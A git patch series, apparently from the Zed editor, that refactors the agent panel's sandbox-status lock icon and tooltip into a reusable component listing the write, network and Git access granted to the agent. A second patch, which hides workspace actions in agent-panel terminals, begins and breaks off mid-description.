From b81d38e5cb2cabe7b97e7f1411e5c1dbe9cb0db0 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 29 Jun 2026 07:12:28 -0300
Subject: [PATCH 153/772] agent_ui: Refine UI design displaying sandbox
 information (#59980)

Adding a series of UI tweaks to refine how we display whether a thread
is covered by sandbox. Most notably, separating all the tooltip UI stuff
into a dedicated component so we can get a preview and iterate more
easily on all of its states.

Release Notes:

- N/A
---
 assets/icons/file_icons/lock.svg              |   6 +-
 assets/icons/{lock_outlined.svg => lock.svg}  |   0
 assets/icons/lock_off.svg                     |   6 +
 assets/icons/lock_outlined_off.svg            |   7 -
 crates/agent_ui/src/agent_panel.rs            |  11 +-
 .../src/conversation_view/thread_view.rs      | 289 +++++-------------
 crates/agent_ui/src/ui.rs                     |   2 +
 .../agent_ui/src/ui/sandbox_status_tooltip.rs | 280 +++++++++++++++++
 .../src/edit_prediction_button.rs             |   2 +-
 crates/icons/src/icons.rs                     |   4 +-
 10 files changed, 372 insertions(+), 235 deletions(-)
 rename assets/icons/{lock_outlined.svg => lock.svg} (100%)
 create mode 100644 assets/icons/lock_off.svg
 delete mode 100644 assets/icons/lock_outlined_off.svg
 create mode 100644 crates/agent_ui/src/ui/sandbox_status_tooltip.rs

diff --git a/assets/icons/file_icons/lock.svg b/assets/icons/file_icons/lock.svg
index 10ae33869a6107..4d21d5db0731dc 100644
--- a/assets/icons/file_icons/lock.svg
+++ b/assets/icons/file_icons/lock.svg
@@ -1,4 +1,6 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M5 5C5 3.89543 5.89543 3 7 3H9C10.1046 3 11 3.89543 11 5V6H5V5Z" stroke="black" stroke-width="1.2"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M3.25 6.5C3.25 5.80964 3.80964 5.25 4.5 5.25H11.5C12.1904 5.25 12.75 5.80964 12.75 6.5V12.5C12.75 13.1904 12.1904 13.75 11.5 13.75H4.5C3.80964 13.75 3.25 13.1904 3.25 12.5V6.5ZM8.75 9.66146C8.90559 9.48517 9 9.25361 9 9C9 8.44772 8.55228 8 8 8C7.44772 8 7 8.44772 7 9C7 9.25361 7.09441 9.48517 7.25 9.66146V11C7.25 11.4142 7.58579 11.75 8 11.75C8.41421 11.75 8.75 11.4142 8.75 11V9.66146Z" fill="black"/>
+<path d="M8 9V11" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M8 10C8.55228 10 9 9.55228 9 9C9 8.44772 8.55228 8 8 8C7.44772 8 7 8.44772 7 9C7 9.55228 7.44772 10 8 10Z" fill="#DCE0E5"/>
+<path d="M11 5.75H5C4.30964 5.75 3.75 6.30964 3.75 7V12C3.75 12.6904 4.30964 13.25 5 13.25H11C11.6904 13.25 12.25 12.6904 12.25 12V7C12.25 6.30964 11.6904 5.75 11 5.75Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M7.99998 2.79321C6.367 2.79321 5.04321 4.117 5.04321 5.74998H10.9568C10.9568 4.117 9.63296 2.79321 7.99998 2.79321Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/lock_outlined.svg b/assets/icons/lock.svg
similarity index 100%
rename from assets/icons/lock_outlined.svg
rename to assets/icons/lock.svg
diff --git a/assets/icons/lock_off.svg b/assets/icons/lock_off.svg
new file mode 100644
index 00000000000000..9efaa51aa8cf49
--- /dev/null
+++ b/assets/icons/lock_off.svg
@@ -0,0 +1,6 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M8 9V11" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M8 10C8.55228 10 9 9.55228 9 9C9 8.44772 8.55228 8 8 8C7.44772 8 7 8.44772 7 9C7 9.55228 7.44772 10 8 10Z" fill="#DCE0E5"/>
+<path d="M11 5.75H5C4.30964 5.75 3.75 6.30964 3.75 7V12C3.75 12.6904 4.30964 13.25 5 13.25H11C11.6904 13.25 12.25 12.6904 12.25 12V7C12.25 6.30964 11.6904 5.75 11 5.75Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M5.779 5.74999C5.17527 4.23271 5.91585 2.5133 7.43313 1.90957C8.34244 1.54775 9.32436 1.66876 10.0952 2.15042" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/assets/icons/lock_outlined_off.svg b/assets/icons/lock_outlined_off.svg
deleted file mode 100644
index 74e5851dd75a4d..00000000000000
--- a/assets/icons/lock_outlined_off.svg
+++ /dev/null
@@ -1,7 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M5 5C5 3.89543 5.89543 3 7 3H9C10.1046 3 11 3.89543 11 5V6H5V5Z" stroke="black" stroke-width="1.2"/>
-<path d="M8 9V11" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<circle cx="8" cy="9" r="1" fill="black"/>
-<rect x="3.75" y="5.75" width="8.5" height="7.5" rx="1.25" stroke="black" stroke-width="1.2" stroke-linejoin="round"/>
-<path d="M2.5 2.5L13.5 13.5" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-</svg>
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index a26d2c652eb086..a26935e859164f 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -6234,6 +6234,13 @@ impl AgentPanel {
                 .with_handle(self.new_thread_menu_handle.clone())
                 .menu(move |window, cx| new_thread_menu_builder(window, cx));
 
+            let sandbox_status = self
+                .active_conversation_view()
+                .and_then(|conversation_view| conversation_view.read(cx).root_thread_view())
+                .and_then(|thread_view| {
+                    thread_view.update(cx, |thread_view, cx| thread_view.render_sandbox_status(cx))
+                });
+
             base_container
                 .child(
                     h_flex()
@@ -6256,11 +6263,11 @@ impl AgentPanel {
                 )
                 .child(
                     h_flex()
+                        .px_1()
                         .h_full()
                         .flex_none()
                         .gap_1()
-                        .pl_1()
-                        .pr_1()
+                        .children(sandbox_status)
                         .when(can_create_entries, |this| this.child(new_thread_menu))
                         .child(full_screen_button)
                         .child(self.render_panel_options_menu(window, cx)),
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 2519d286281fae..ed4bbeda81900f 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -24,6 +24,7 @@ use sandbox::{GitSandboxPolicy, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy
 
 use crate::completion_provider::AvailableSkill;
 use crate::message_editor::SharedSessionCapabilities;
+use crate::ui::{SandboxGroup, SandboxRow, SandboxSection, SandboxStatusTooltip};
 
 use db::kvp::KeyValueStore;
 use gpui::List;
@@ -4141,7 +4142,6 @@ impl ThreadView {
                                     .gap_0p5()
                                     .child(self.render_add_context_button(cx))
                                     .child(self.render_follow_toggle(cx))
-                                    .children(self.render_sandbox_status(cx))
                                     .children(self.render_fast_mode_control(cx))
                                     .children(self.render_thinking_control(cx)),
                             )
@@ -4619,13 +4619,7 @@ impl ThreadView {
         }
     }
 
-    /// A small lock icon summarizing the sandbox state. Hovering shows the
-    /// write-access paths and network-access domains from the user's settings
-    /// and the per-thread overrides. The lock is struck through when sandboxing
-    /// is turned off (in settings, or for this thread). Shown whenever
-    /// sandboxing is *applicable* to the project, even when disabled, so the
-    /// user can always see and change the state. Clicking opens the settings.
-    fn render_sandbox_status(&mut self, cx: &mut Context<Self>) -> Option<AnyElement> {
+    pub fn render_sandbox_status(&mut self, cx: &mut Context<Self>) -> Option<AnyElement> {
         let status = self.refresh_sandbox_status(cx)?;
         let settings_sandbox = status.settings_sandbox.clone();
         let thread_sandbox = status.thread_sandbox.clone();
@@ -4634,52 +4628,59 @@ impl ThreadView {
         // The lock is struck only when the *merged* result is unsandboxed (the
         // agent runs with ambient permissions). A layer that is merely wide open
         // but still sandboxed keeps the closed lock.
-        let icon = if settings_sandbox
+        let (icon, icon_color) = if settings_sandbox
             .clone()
             .merge(thread_sandbox.clone())
             .is_unsandboxed()
         {
-            IconName::LockOutlinedOff
+            (IconName::LockOff, Color::Muted)
         } else {
-            IconName::LockOutlined
+            (IconName::Lock, Color::Default)
         };
 
-        let state = match (settings_sandbox, thread_sandbox) {
+        let tooltip = match (settings_sandbox, thread_sandbox) {
             // No sandbox at all because the user turned it off in settings: the
             // per-thread layer is moot, so don't show it.
-            (ThreadSandbox::Unsandboxed, _) => SandboxTooltipState::DisabledInSettings,
+            (ThreadSandbox::Unsandboxed, _) => SandboxStatusTooltip::disabled_in_settings(),
             // Sandboxed by settings, but disabled for this thread: show the
             // settings scope (greyed) for context above the disabled status.
             (ThreadSandbox::Sandboxed(settings_policy), ThreadSandbox::Unsandboxed) => {
-                SandboxTooltipState::DisabledForThread {
-                    settings: augment_settings_sandbox_policy(settings_policy, baseline),
-                }
+                let settings = augment_settings_sandbox_policy(settings_policy, baseline);
+                SandboxStatusTooltip::disabled_for_thread(sandbox_section(&settings, true))
             }
             (
                 ThreadSandbox::Sandboxed(settings_policy),
                 ThreadSandbox::Sandboxed(thread_policy),
-            ) => SandboxTooltipState::Enabled {
-                settings: augment_settings_sandbox_policy(settings_policy, baseline),
-                thread: thread_policy,
-            },
+            ) => {
+                let settings = augment_settings_sandbox_policy(settings_policy, baseline);
+                // Omit the per-thread section when it grants nothing extra.
+                let thread = (!sandbox_policy_grants_nothing(&thread_policy))
+                    .then(|| sandbox_section(&thread_policy, false));
+                SandboxStatusTooltip::enabled(sandbox_section(&settings, true), thread)
+            }
         };
 
         Some(
-            IconButton::new("sandbox-status", icon)
-                .icon_size(IconSize::Small)
-                .icon_color(Color::Muted)
-                .tooltip(Tooltip::element(move |_window, cx| {
-                    render_sandbox_status_tooltip(&state, cx)
-                }))
-                .on_click(|_, window, cx| {
-                    window.dispatch_action(
-                        Box::new(zed_actions::OpenSettingsAt {
-                            path: zed_actions::AGENT_SANDBOX_SETTINGS_PATH.to_string(),
-                            target: None,
+            h_flex()
+                .gap_1()
+                .child(
+                    IconButton::new("sandbox-status", icon)
+                        .icon_size(IconSize::Small)
+                        .icon_color(icon_color)
+                        .tooltip(Tooltip::element(move |_window, _cx| {
+                            tooltip.clone().into_any_element()
+                        }))
+                        .on_click(|_, window, cx| {
+                            window.dispatch_action(
+                                Box::new(zed_actions::OpenSettingsAt {
+                                    path: zed_actions::AGENT_SANDBOX_SETTINGS_PATH.to_string(),
+                                    target: None,
+                                }),
+                                cx,
+                            );
                         }),
-                        cx,
-                    );
-                })
+                )
+                .child(Divider::vertical().h_4())
                 .into_any_element(),
         )
     }
@@ -5596,74 +5597,6 @@ impl Render for TokenUsageTooltip {
     }
 }
 
-/// Which sandbox state the status tooltip describes.
-#[derive(Clone)]
-enum SandboxTooltipState {
-    /// Sandboxing is on: show the settings policy and the per-thread overrides.
-    Enabled {
-        settings: SandboxPolicy,
-        thread: SandboxPolicy,
-    },
-    /// Turned off via the persistent `allow_unsandboxed` setting.
-    DisabledInSettings,
-    /// Turned off for this thread (the "run without sandbox for this thread"
-    /// fallback). The settings policy is still shown, greyed out, for context.
-    DisabledForThread { settings: SandboxPolicy },
-}
-
-/// Build the hover tooltip for the sandbox status icon. Always opens with a
-/// "Sandboxing settings" title, then describes the active state.
-///
-/// Returns the raw content only: `Tooltip::element` wraps it in the tooltip
-/// container, so wrapping it again here would double the background.
-fn render_sandbox_status_tooltip(state: &SandboxTooltipState, cx: &App) -> AnyElement {
-    let mut body = v_flex()
-        .min_w(rems(15.))
-        .gap_2()
-        .child(Label::new("Sandboxing settings"))
-        .child(Divider::horizontal());
-
-    match state {
-        SandboxTooltipState::DisabledInSettings => {
-            body = body.child(
-                Label::new("Sandboxing is disabled in settings")
-                    .size(LabelSize::Small)
-                    .color(Color::Muted),
-            );
-        }
-        SandboxTooltipState::DisabledForThread { settings } => {
-            // The settings policy is moot while disabled, so show it greyed out
-            // for context above the active "disabled for this thread" status.
-            let settings_section =
-                render_sandbox_policy_section("From your settings", settings, true, cx);
-            body = body
-                .children(
-                    settings_section
-                        .map(|section| div().opacity(0.5).child(section).into_any_element()),
-                )
-                .child(Divider::horizontal())
-                .child(Label::new("Sandboxing is disabled for this thread").size(LabelSize::Small));
-        }
-        SandboxTooltipState::Enabled { settings, thread } => {
-            let settings_section =
-                render_sandbox_policy_section("From your settings", settings, true, cx);
-            let thread_section =
-                render_sandbox_policy_section("Allowed in this thread", thread, false, cx);
-            body = body.children(settings_section);
-            if let Some(section) = thread_section {
-                body = body.child(Divider::horizontal()).child(section);
-            }
-        }
-    }
-
-    body.into_any_element()
-}
-
-/// Render one section of the sandbox status tooltip.
-///
-/// When `show_empty` is true the section is always rendered, and groups that
-/// grant nothing show "None". When false, empty groups are omitted and the
-/// whole section is dropped (`None`) if it grants nothing at all.
 /// Fold the always-granted baseline writable paths (the project's worktree
 /// roots, derived from the same source the terminal tool uses) and, on Linux,
 /// the host-isolated `/tmp` overlay into a settings policy for display. These
@@ -5692,41 +5625,34 @@ fn augment_settings_sandbox_policy(
     policy
 }
 
-fn render_sandbox_policy_section(
-    title: &str,
-    policy: &SandboxPolicy,
-    show_empty: bool,
-    cx: &App,
-) -> Option<AnyElement> {
-    let write_rows = sandbox_fs_rows(&policy.fs, cx);
-    let network_rows = sandbox_network_rows(&policy.network, cx);
+fn sandbox_section(policy: &SandboxPolicy, show_empty: bool) -> SandboxSection {
     let write_empty = fs_grants_nothing(&policy.fs);
     let network_empty = network_grants_nothing(&policy.network);
-    // Git access is only ever surfaced when *granted* (the `.git` dirs become
-    // writable), so it never shows a "None" row — unlike write/network, it's
-    // omitted entirely when denied, regardless of `show_empty`.
+    // Git access is only surfaced when granted, so it never shows a "None" row.
     let git_empty = git_grants_nothing(&policy.git);
 
-    if !show_empty && write_empty && network_empty && git_empty {
-        return None;
+    let mut section = SandboxSection::new();
+    if show_empty || !write_empty {
+        section =
+            section.group(SandboxGroup::new("Write Access").rows(sandbox_fs_rows(&policy.fs)));
     }
+    if show_empty || !network_empty {
+        section = section
+            .group(SandboxGroup::new("Network Access").rows(sandbox_network_rows(&policy.network)));
+    }
+    if !git_empty {
+        section = section
+            .group(SandboxGroup::new("Git Metadata Access").rows(sandbox_git_rows(&policy.git)));
+    }
+    section
+}
 
-    let write_group =
-        (show_empty || !write_empty).then(|| sandbox_status_group("Write access", write_rows));
-    let network_group = (show_empty || !network_empty)
-        .then(|| sandbox_status_group("Network access", network_rows));
-    let git_group = (!git_empty)
-        .then(|| sandbox_status_group("Git metadata access", sandbox_git_rows(&policy.git, cx)));
-
-    Some(
-        v_flex()
-            .gap_1()
-            .child(Label::new(title.to_string()))
-            .children(write_group)
-            .children(network_group)
-            .children(git_group)
-            .into_any_element(),
-    )
+/// Whether a policy grants nothing worth surfacing, used to decide whether to
+/// show the per-thread overrides section at all.
+fn sandbox_policy_grants_nothing(policy: &SandboxPolicy) -> bool {
+    fs_grants_nothing(&policy.fs)
+        && network_grants_nothing(&policy.network)
+        && git_grants_nothing(&policy.git)
 }
 
 /// Git access grants nothing to surface unless `.git` writes are allowed *and*
@@ -5737,35 +5663,16 @@ fn git_grants_nothing(git: &GitSandboxPolicy) -> bool {
 
 /// Rows for the Git-access group: one row per writable `.git` directory (these
 /// may live outside the project for a linked worktree).
-fn sandbox_git_rows(git: &GitSandboxPolicy, cx: &App) -> Vec<AnyElement> {
+fn sandbox_git_rows(git: &GitSandboxPolicy) -> Vec<SandboxRow> {
     match git {
         GitSandboxPolicy::Allowed { git_dirs } if !git_dirs.is_empty() => git_dirs
             .iter()
-            .map(|path| sandbox_git_path_row(path, cx))
+            .map(|path| SandboxRow::git(path.clone()))
             .collect(),
         _ => Vec::new(),
     }
 }
 
-/// A `.git` directory row, tagged with a Git icon to distinguish it from plain
-/// writable paths.
-fn sandbox_git_path_row(path: &Path, cx: &App) -> AnyElement {
-    h_flex()
-        .min_w_0()
-        .gap_1()
-        .child(
-            Icon::new(IconName::GitBranch)
-                .color(Color::Muted)
-                .size(IconSize::Small),
-        )
-        .child(
-            Label::new(path.display().to_string())
-                .size(LabelSize::XSmall)
-                .buffer_font(cx),
-        )
-        .into_any_element()
-}
-
 fn fs_grants_nothing(fs: &SandboxFsPolicy) -> bool {
     matches!(fs, SandboxFsPolicy::Restricted { writable_paths } if writable_paths.is_empty())
 }
@@ -5780,95 +5687,35 @@ fn network_grants_nothing(network: &SandboxNetPolicy) -> bool {
 
 /// Rows for the write-access group: a message for the "all"/"none" cases, or one
 /// row per granted path.
-fn sandbox_fs_rows(fs: &SandboxFsPolicy, cx: &App) -> Vec<AnyElement> {
+fn sandbox_fs_rows(fs: &SandboxFsPolicy) -> Vec<SandboxRow> {
     match fs {
-        SandboxFsPolicy::Unrestricted => vec![sandbox_message_row("All paths (unrestricted)")],
+        SandboxFsPolicy::Unrestricted => vec![SandboxRow::message("All paths (unrestricted)")],
         SandboxFsPolicy::Restricted { writable_paths } if writable_paths.is_empty() => {
-            vec![sandbox_message_row("None")]
+            vec![SandboxRow::message("None")]
         }
         SandboxFsPolicy::Restricted { writable_paths } => writable_paths
             .iter()
-            .map(|path| sandbox_path_row(path, cx))
+            .map(|path| SandboxRow::path(path.clone()))
             .collect(),
     }
 }
 
 /// Rows for the network-access group: a message for the "all"/"none" cases, or
 /// one row per allowed domain.
-fn sandbox_network_rows(network: &SandboxNetPolicy, cx: &App) -> Vec<AnyElement> {
+fn sandbox_network_rows(network: &SandboxNetPolicy) -> Vec<SandboxRow> {
     match network {
-        SandboxNetPolicy::Unrestricted => vec![sandbox_message_row("All domains (unrestricted)")],
-        SandboxNetPolicy::Blocked => vec![sandbox_message_row("None")],
+        SandboxNetPolicy::Unrestricted => vec![SandboxRow::message("All domains (unrestricted)")],
+        SandboxNetPolicy::Blocked => vec![SandboxRow::message("None")],
         SandboxNetPolicy::Restricted { allowed_domains } if allowed_domains.is_empty() => {
-            vec![sandbox_message_row("None")]
+            vec![SandboxRow::message("None")]
         }
         SandboxNetPolicy::Restricted { allowed_domains } => allowed_domains
             .iter()
-            .map(|domain| sandbox_domain_row(domain, cx))
+            .map(|domain| SandboxRow::domain(domain.clone()))
             .collect(),
     }
 }
 
-/// A "Write access" / "Network access" group: a muted header, then the indented
-/// rows.
-fn sandbox_status_group(heading: &str, rows: Vec<AnyElement>) -> impl IntoElement {
-    v_flex()
-        .gap_0p5()
-        .child(
-            Label::new(heading.to_string())
-                .size(LabelSize::Small)
-                .color(Color::Muted),
-        )
-        .child(v_flex().pl_3().gap_0p5().children(rows))
-}
-
-/// A non-path row (e.g. "All paths (unrestricted)", "None") in a status group.
-fn sandbox_message_row(message: &str) -> AnyElement {
-    Label::new(message.to_string())
-        .size(LabelSize::XSmall)
-        .color(Color::Muted)
-        .into_any_element()
-}
-
-fn sandbox_path_row(path: &Path, cx: &App) -> AnyElement {
-    let display_path = path.display().to_string();
-    let icon = FileIcons::get_icon(path, cx)
-        .map(Icon::from_path)
-        .map(|icon| icon.color(Color::Muted).size(IconSize::Small))
-        .unwrap_or_else(|| {
-            Icon::new(IconName::Folder)
-                .color(Color::Muted)
-                .size(IconSize::Small)
-        });
-    h_flex()
-        .min_w_0()
-        .gap_1()
-        .child(icon)
-        .child(
-            Label::new(display_path)
-                .size(LabelSize::XSmall)
-                .buffer_font(cx),
-        )
-        .into_any_element()
-}
-
-fn sandbox_domain_row(domain: &str, cx: &App) -> AnyElement {
-    h_flex()
-        .min_w_0()
-        .gap_1()
-        .child(
-            Icon::new(IconName::Public)
-                .color(Color::Muted)
-                .size(IconSize::Small),
-        )
-        .child(
-            Label::new(domain.to_string())
-                .size(LabelSize::XSmall)
-                .buffer_font(cx),
-        )
-        .into_any_element()
-}
-
 impl ThreadView {
     fn render_entries(&mut self, cx: &mut Context<Self>) -> List {
         let max_content_width = AgentSettings::get_global(cx).max_content_width;
diff --git a/crates/agent_ui/src/ui.rs b/crates/agent_ui/src/ui.rs
index 4d355de28e44cf..5fdb2afb5fb3cc 100644
--- a/crates/agent_ui/src/ui.rs
+++ b/crates/agent_ui/src/ui.rs
@@ -2,12 +2,14 @@ mod agent_notification;
 mod end_trial_upsell;
 mod mention_crease;
 mod model_selector_components;
+mod sandbox_status_tooltip;
 mod undo_reject_toast;
 
 pub use agent_notification::*;
 pub use end_trial_upsell::*;
 pub use mention_crease::*;
 pub use model_selector_components::*;
+pub use sandbox_status_tooltip::*;
 pub use undo_reject_toast::*;
 
 /// Returns the appropriate [`DocumentationSide`] for documentation asides
diff --git a/crates/agent_ui/src/ui/sandbox_status_tooltip.rs b/crates/agent_ui/src/ui/sandbox_status_tooltip.rs
new file mode 100644
index 00000000000000..506d437b535733
--- /dev/null
+++ b/crates/agent_ui/src/ui/sandbox_status_tooltip.rs
@@ -0,0 +1,280 @@
+use std::path::PathBuf;
+
+use file_icons::FileIcons;
+use gpui::{AnyElement, App};
+use ui::{Divider, prelude::*};
+
+#[derive(Clone)]
+pub enum SandboxRow {
+    Message(SharedString),
+    Path(PathBuf),
+    Git(PathBuf),
+    Domain(SharedString),
+}
+
+impl SandboxRow {
+    pub fn message(message: impl Into<SharedString>) -> Self {
+        Self::Message(message.into())
+    }
+
+    pub fn path(path: impl Into<PathBuf>) -> Self {
+        Self::Path(path.into())
+    }
+
+    pub fn git(path: impl Into<PathBuf>) -> Self {
+        Self::Git(path.into())
+    }
+
+    pub fn domain(domain: impl Into<SharedString>) -> Self {
+        Self::Domain(domain.into())
+    }
+
+    fn render(self, cx: &App) -> AnyElement {
+        let icon_basic = |icon_name: IconName| {
+            Icon::new(icon_name)
+                .color(Color::Muted)
+                .size(IconSize::Small)
+        };
+
+        let (icon, label) = match self {
+            SandboxRow::Message(message) => {
+                return Label::new(message)
+                    .size(LabelSize::XSmall)
+                    .color(Color::Muted)
+                    .into_any_element();
+            }
+            SandboxRow::Path(path) => {
+                let icon = FileIcons::get_icon(&path, cx)
+                    .map(|icon| {
+                        Icon::from_path(icon)
+                            .color(Color::Muted)
+                            .size(IconSize::Small)
+                    })
+                    .unwrap_or_else(|| icon_basic(IconName::Folder));
+                (icon, path.display().to_string())
+            }
+            SandboxRow::Git(path) => (icon_basic(IconName::GitBranch), path.display().to_string()),
+            SandboxRow::Domain(domain) => (icon_basic(IconName::Public), domain.to_string()),
+        };
+
+        h_flex()
+            .min_w_0()
+            .w_full()
+            .gap_1()
+            .child(icon)
+            .child(
+                Label::new(label)
+                    .size(LabelSize::XSmall)
+                    .buffer_font(cx)
+                    .truncate_start(),
+            )
+            .into_any_element()
+    }
+}
+
+/// A labelled group of rows (e.g. "Write Access", "Network Access").
+#[derive(Clone)]
+pub struct SandboxGroup {
+    heading: SharedString,
+    rows: Vec<SandboxRow>,
+}
+
+impl SandboxGroup {
+    pub fn new(heading: impl Into<SharedString>) -> Self {
+        Self {
+            heading: heading.into(),
+            rows: Vec::new(),
+        }
+    }
+
+    pub fn row(mut self, row: SandboxRow) -> Self {
+        self.rows.push(row);
+        self
+    }
+
+    pub fn rows(mut self, rows: impl IntoIterator<Item = SandboxRow>) -> Self {
+        self.rows.extend(rows);
+        self
+    }
+
+    fn render(self, cx: &App) -> impl IntoElement {
+        v_flex()
+            .gap_1()
+            .child(
+                Label::new(self.heading)
+                    .size(LabelSize::Small)
+                    .color(Color::Muted),
+            )
+            .children(self.rows.into_iter().map(|row| row.render(cx)))
+    }
+}
+
+#[derive(Clone, Default)]
+pub struct SandboxSection {
+    groups: Vec<SandboxGroup>,
+}
+
+impl SandboxSection {
+    pub fn new() -> Self {
+        Self::default()
+    }
+
+    pub fn group(mut self, group: SandboxGroup) -> Self {
+        self.groups.push(group);
+        self
+    }
+
+    fn render(self, cx: &App) -> AnyElement {
+        let mut section = v_flex().gap_1();
+        for (index, group) in self.groups.into_iter().enumerate() {
+            if index > 0 {
+                section = section.child(Divider::horizontal());
+            }
+            section = section.child(group.render(cx));
+        }
+        section.into_any_element()
+    }
+}
+
+#[derive(Clone, IntoElement, RegisterComponent)]
+pub enum SandboxStatusTooltip {
+    Enabled {
+        settings: SandboxSection,
+        thread: Option<SandboxSection>,
+    },
+    DisabledForThread {
+        settings: SandboxSection,
+    },
+    DisabledInSettings,
+}
+
+impl SandboxStatusTooltip {
+    pub fn enabled(settings: SandboxSection, thread: Option<SandboxSection>) -> Self {
+        Self::Enabled { settings, thread }
+    }
+
+    pub fn disabled_for_thread(settings: SandboxSection) -> Self {
+        Self::DisabledForThread { settings }
+    }
+
+    pub fn disabled_in_settings() -> Self {
+        Self::DisabledInSettings
+    }
+}
+
+impl RenderOnce for SandboxStatusTooltip {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+        let content = match self {
+            SandboxStatusTooltip::DisabledInSettings => v_flex()
+                .child(
+                    Label::new("You have sandboxing disabled in settings.")
+                        .size(LabelSize::Small)
+                        .color(Color::Muted),
+                )
+                .into_any_element(),
+            SandboxStatusTooltip::DisabledForThread { settings } => v_flex()
+                .gap_1()
+                .child(div().opacity(0.5).child(settings.render(cx)))
+                .child(Divider::horizontal())
+                .child(Label::new("Sandboxing is disabled for this thread").size(LabelSize::Small))
+                .into_any_element(),
+            SandboxStatusTooltip::Enabled { settings, thread } => v_flex()
+                .child(settings.render(cx))
+                .children(thread.map(|thread| {
+                    v_flex()
+                        .child(Divider::horizontal())
+                        .child(thread.render(cx))
+                }))
+                .into_any_element(),
+        };
+
+        v_flex()
+            .min_w(rems(15.))
+            .gap_1()
+            .child(Label::new("Sandboxing"))
+            .child(content)
+    }
+}
+
+impl Component for SandboxStatusTooltip {
+    fn scope() -> ComponentScope {
+        ComponentScope::Agent
+    }
+
+    fn name() -> &'static str {
+        "Sandbox Status Tooltip"
+    }
+
+    fn description() -> &'static str {
+        "The tooltip shown on the sandboxing lock icon in the agent panel, \
+        describing the filesystem, network, and Git access granted to the \
+        agent for each of the possible sandbox states."
+    }
+
+    fn preview(_window: &mut Window, cx: &mut App) -> AnyElement {
+        let settings_section = SandboxSection::new()
+            .group(SandboxGroup::new("Write Access").rows([
+                SandboxRow::path("/Users/you/project"),
+                SandboxRow::path("/tmp (isolated)"),
+            ]))
+            .group(SandboxGroup::new("Network Access").rows([
+                SandboxRow::domain("github.com"),
+                SandboxRow::domain("*.npmjs.org"),
+            ]));
+
+        let thread_section = SandboxSection::new()
+            .group(
+                SandboxGroup::new("Write Access").row(SandboxRow::path("/Users/you/project/build")),
+            )
+            .group(SandboxGroup::new("Network Access").row(SandboxRow::message("None")))
+            .group(
+                SandboxGroup::new("Git Metadata Access")
+                    .row(SandboxRow::git("/Users/you/project/.git")),
+            );
+
+        let unrestricted_section = SandboxSection::new()
+            .group(
+                SandboxGroup::new("Write Access")
+                    .row(SandboxRow::message("All paths (unrestricted)")),
+            )
+            .group(
+                SandboxGroup::new("Network Access")
+                    .row(SandboxRow::message("All domains (unrestricted)")),
+            );
+
+        let container = || div().p_2().elevation_2(cx).max_w_112();
+
+        v_flex()
+            .gap_4()
+            .child(example_group(vec![
+                single_example(
+                    "Enabled",
+                    container()
+                        .child(SandboxStatusTooltip::enabled(
+                            settings_section.clone(),
+                            Some(thread_section),
+                        ))
+                        .into_any_element(),
+                ),
+                single_example(
+                    "Enabled (unrestricted, no overrides)",
+                    container()
+                        .child(SandboxStatusTooltip::enabled(unrestricted_section, None))
+                        .into_any_element(),
+                ),
+                single_example(
+                    "Disabled for thread",
+                    container()
+                        .child(SandboxStatusTooltip::disabled_for_thread(settings_section))
+                        .into_any_element(),
+                ),
+                single_example(
+                    "Disabled in settings",
+                    container()
+                        .child(SandboxStatusTooltip::disabled_in_settings())
+                        .into_any_element(),
+                ),
+            ]))
+            .into_any_element()
+    }
+}
diff --git a/crates/edit_prediction_ui/src/edit_prediction_button.rs b/crates/edit_prediction_ui/src/edit_prediction_button.rs
index 62d6209f1f6e73..46a2dc6c743cd8 100644
--- a/crates/edit_prediction_ui/src/edit_prediction_button.rs
+++ b/crates/edit_prediction_ui/src/edit_prediction_button.rs
@@ -910,7 +910,7 @@ impl EditPredictionButton {
 
         menu = menu.item(
             ContextMenuEntry::new("Configure Excluded Files")
-                .icon(IconName::LockOutlined)
+                .icon(IconName::Lock)
                 .icon_color(Color::Muted)
                 .documentation_aside(DocumentationSide::Left, |_| {
                     Label::new(indoc!{"
diff --git a/crates/icons/src/icons.rs b/crates/icons/src/icons.rs
index 6588d3f07f3650..a94b43e8017c49 100644
--- a/crates/icons/src/icons.rs
+++ b/crates/icons/src/icons.rs
@@ -183,8 +183,8 @@ pub enum IconName {
     ListX,
     LoadCircle,
     LocationEdit,
-    LockOutlined,
-    LockOutlinedOff,
+    Lock,
+    LockOff,
     MagnifyingGlass,
     Maximize,
     MaximizeAlt,

From 031ccfd736ae811d6d5c1e159a9d8ce07cf55743 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Mon, 29 Jun 2026 12:25:19 +0200
Subject: [PATCH 154/772] terminal: Do not show workspace actions in agent
 panel terminals (#60072)

Closes #59143

This hides a bunch of actions from the terminal context menu when
showing it in the agent panel.

For agent terminal threads:

<img width="383" height="205" alt="image"
src="https://github.com/user-attachments/assets/a090d62c-7f49-4169-8d82-5cf9577c7444"
/>

For terminals inside of an ACP agent:

<img width="418" height="366" alt="image"
